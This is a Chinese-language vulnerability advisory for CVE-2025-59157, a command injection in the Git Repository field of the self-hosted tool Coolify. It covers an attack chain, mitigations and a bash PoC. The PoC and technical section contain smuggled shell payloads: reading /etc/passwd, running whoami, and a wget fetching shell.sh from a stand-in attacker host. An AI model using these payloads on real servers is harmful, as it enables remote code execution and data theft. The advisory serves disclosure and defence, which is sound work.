IPBUF安全漏洞报告
English
CVE-2025-59157 CVSS 9.9 严重

CVE-2025-59157 Coolify Git Repository字段命令注入漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-59157
漏洞类型
命令注入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Coolify

相关标签

命令注入远程代码执行CoolifyGit RepositoryCVSS 9.9自托管工具Shell注入CVE-2025-59157

漏洞概述

CVE-2025-59157是Coolify项目中一个严重的安全漏洞,CVSS评分高达9.9分(严重级别)。Coolify是一款开源的自托管工具,用于管理服务器、应用程序和数据库。该漏洞存在于项目创建功能中的Git Repository字段,由于用户输入未经过充分的清理和过滤,攻击者可以在该字段中注入任意Shell命令。这些恶意命令会在部署工作流执行时被服务器系统解析和运行,导致远程代码执行。值得注意的是,该漏洞的危险性在于即使是普通成员用户也具备利用此漏洞的能力,无需管理员权限即可发起攻击。攻击者通过构造特定的Payload,利用Git Repository字段将恶意命令附加到合法的Git操作中,当Coolify执行Git clone或其他Git相关操作时,注入的命令将被系统Shell解析执行,从而完全控制目标服务器的操作系统。攻击成功后,攻击者可以读取敏感数据、安装后门、横向移动或进行其他恶意活动。该漏洞影响版本为4.0.0-beta.420.7之前的所有版本,官方已在4.0.0-beta.420.7版本中修复了此问题。

技术细节

命令注入漏洞的技术原理在于应用程序将用户可控的输入传递给系统命令执行函数而未进行适当的安全验证。在Coolify的漏洞中,当用户在项目创建界面填写Git Repository URL时,程序直接将该输入拼接到Git命令中执行。假设后端代码类似执行git clone $USER_INPUT /target/path,攻击者可以在URL中通过分号、管道符或反引号等Shell特殊字符注入额外命令。例如,输入https://github.com/legitimate/repo;cat /etc/passwd将在执行git clone后继续执行读取密码文件命令。Coolify在处理Git操作时可能使用Python的subprocess模块或系统shell来执行git命令,如果未设置shell=False或未对输入进行严格的URL格式验证和命令转义,就会产生命令注入。此外,Git支持在URL中嵌入用户名密码认证信息,攻击者可能利用这一点配合命令注入实现更复杂的攻击链。漏洞利用的关键在于理解Git命令的执行上下文和Shell元字符的作用机制,成功的利用需要构造能够绕过基本过滤但仍被Shell解析的Payload。

攻击链分析

STEP 1
步骤1
攻击者以普通成员用户身份登录Coolify管理平台
STEP 2
步骤2
攻击者访问项目创建功能,找到Git Repository输入字段
STEP 3
步骤3
攻击者在Git Repository字段中构造恶意Payload,利用分号、管道符或反引号等Shell特殊字符注入命令
STEP 4
步骤4
攻击者提交项目创建请求,Coolify后端接收包含恶意命令的Git URL
STEP 5
步骤5
后端程序将用户输入拼接到Git命令中执行,未进行输入验证和命令转义
STEP 6
步骤6
注入的恶意命令被系统Shell解析执行,攻击者获得服务器命令执行权限
STEP 7
步骤7
攻击者可以读取敏感文件、植入后门、横向移动或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-59157 PoC - Coolify Command Injection in Git Repository Field # This PoC demonstrates command injection via the Git Repository field # Target: Coolify < 4.0.0-beta.420.7 # Payload construction for command injection # Using semicolon to chain commands PAYLOAD='https://github.com/example/repo;cat /etc/passwd > /tmp/pwned' # Alternative payload using backticks for command substitution PAYLOAD_ALT='https://github.com/example/repo`whoami`' # Alternative payload using pipe to chain commands PAYLOAD_PIPE='https://github.com/example/repo|wget http://attacker.com/shell.sh' echo "[*] CVE-2025-59157 - Coolify Command Injection" echo "[*] Target: Coolify < 4.0.0-beta.420.7" echo "[*] Attack Vector: Git Repository field during project creation" echo "" echo "[!] Note: This is for educational and authorized testing purposes only" echo "[!] Exploitation steps:" echo "1. Authenticate as a regular member user" echo "2. Navigate to project creation page" echo "3. In the Git Repository field, enter the malicious URL with injected commands" echo "4. Submit the project creation form" echo "5. The injected commands will be executed when Coolify processes the Git repository"

影响范围

Coolify < 4.0.0-beta.420.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制普通用户创建项目的权限,仅允许管理员创建项目;2)在Web应用防火墙(WAF)中配置规则,检测和阻止Git Repository字段中的恶意Payload;3)实施网络隔离,限制被入侵服务器的横向移动能力;4)加强监控,实时检测异常的Git操作和命令执行行为;5)考虑暂时禁用项目创建功能,等待完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表